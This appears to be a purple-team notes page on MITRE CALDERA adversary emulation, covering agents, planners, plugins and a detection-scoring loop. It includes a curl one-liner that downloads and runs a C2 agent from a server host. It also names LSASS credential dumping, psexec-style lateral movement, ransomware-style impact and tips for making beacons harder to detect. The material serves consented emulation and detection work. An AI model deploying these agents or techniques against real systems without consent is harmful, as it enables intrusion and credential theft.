MITRE CALDERA — adversary emulation

TL;DR: CALDERA is MITRE’s open-source adversary emulation framework. Agents (sandcat, manx, ragdoll) check in, planners chain abilities mapped to ATT&CK techniques, and a fact store carries enumerated artifacts (hosts, creds, tokens) between abilities. Standard purple-team tool for repeatable, telemetry-grade emulation runs.

What it is

CALDERA is a Python/JavaScript server with a plugin architecture. Adversary “profiles” are ordered lists of abilities; abilities are atomic commands (bash, cmd, psh, proc, donut) tagged with ATT&CK technique IDs and parameterised via facts. A planner (atomic, batch, buckets, look-ahead) decides which ability to fire next based on collected facts.

Preconditions / where it applies

Lab or production with consent to run controlled emulation
Agent reachability to CALDERA server (default HTTPS 8888)
Defender stack collecting EDR/Sysmon/EVTX so you can score detection coverage

Tradecraft

Server up, sandcat agent down:

  
git clone https://github.com/mitre/caldera.git --recursive
cd caldera && pip install -r requirements.txt
python server.py --insecure   # GUI at http://localhost:8888, red/red

Deploy the sandcat Go agent on target (one-liner generated by GUI):

  
curl -sk -X POST -H 'file:sandcat.go' -H 'platform:linux' \
  http://srv:8888/file/download > sc && chmod +x sc
./sc -server http://srv:8888 -group red -v

Build a profile — chain abilities into a campaign:

GUI → Adversaries → New. Add abilities in sequence:

T1082 System Information Discovery (uname -a, systeminfo)
T1083 File and Directory Discovery
T1003.001 LSASS dump via comsvcs / procdump
T1021.002 SMB lateral via psexec-style
T1486 Ransomware-style file rename (use safe-mode plugin in lab only)

Facts are the glue. An ability outputs host.user.name, host.user.domain, domain.admin.name; the next ability consumes those via #{host.user.name} templating. Facts persist across the operation and reach across hosts.

Run an operation:

GUI → Operations → New → pick adversary + agent group + planner. CALDERA emits a per-step report showing what ran, output, success/failure, and which ATT&CK technique was exercised.

Useful planners:

atomic — sequential, deterministic. Best for repeatable demos
look-ahead — greedy goal-directed (e.g., “achieve T1078 Valid Accounts”)
buckets — emulate phases (discovery → credential access → lateral movement → impact)

Plugins worth knowing:

stockpile — base ability library (~400 atomics)
atomic — Atomic Red Team integration; run any Atomic test from CALDERA
emu — Center for Threat-Informed Defense emulation plans (FIN6, menuPass, OilRig)
manx — TCP / TLS reverse shell agent for low-comms scenarios
human — simulate user activity (browser, doc opens) to test behavioural detections
training — gamified training adversaries for analyst onboarding

Purple-team feedback loop (see purple-team-feedback-loop):

Pick an ATT&CK matrix subset (e.g., Credential Access)
Build profile covering each technique
Run operation; export JSON results
Cross-reference with detection logs (Splunk, Sentinel)
For each technique: ✅ detected, ⚠️ partial, ❌ missed → write/tune detection
Re-run profile, score uplift

Adversary emulation vs simulation:

Emulation = imitating a real APT’s full TTP chain (FIN7 carding cycle)
Simulation = random / coverage-driven (Atomic Red Team style) CALDERA does both; emulation profiles are higher value for tabletop drills.

Detection and defence

Sandcat HTTP beacons every -v interval (default 60s) to /beacon — easy NIDS signature on first deploy, evolving on each release
Abilities run as cmd.exe /c or bash -c with telltale start-encoded patterns
donut ability launches PE in-memory — see donut-shellcode-generation
For prod-like emulation, change sandcat’s HTTP path / headers and shorten beacon
Score detections via the compass plugin (ATT&CK Navigator export of operation coverage)

OPSEC for blue team

Run CALDERA on a segmented VLAN; agent communications use HTTPS but operators frequently leave --insecure
DO NOT run destructive abilities (T1486 Impact, ransomware-style) without isolation snapshots
The safe-mode ability set prevents disk encryption and only renames files
Keep operation history; over time you build a coverage matrix per detection rule

References

CALDERA repo — server + plugins
Center for Threat-Informed Defense adversary emulation plans
CALDERA docs
MITRE ATT&CK Navigator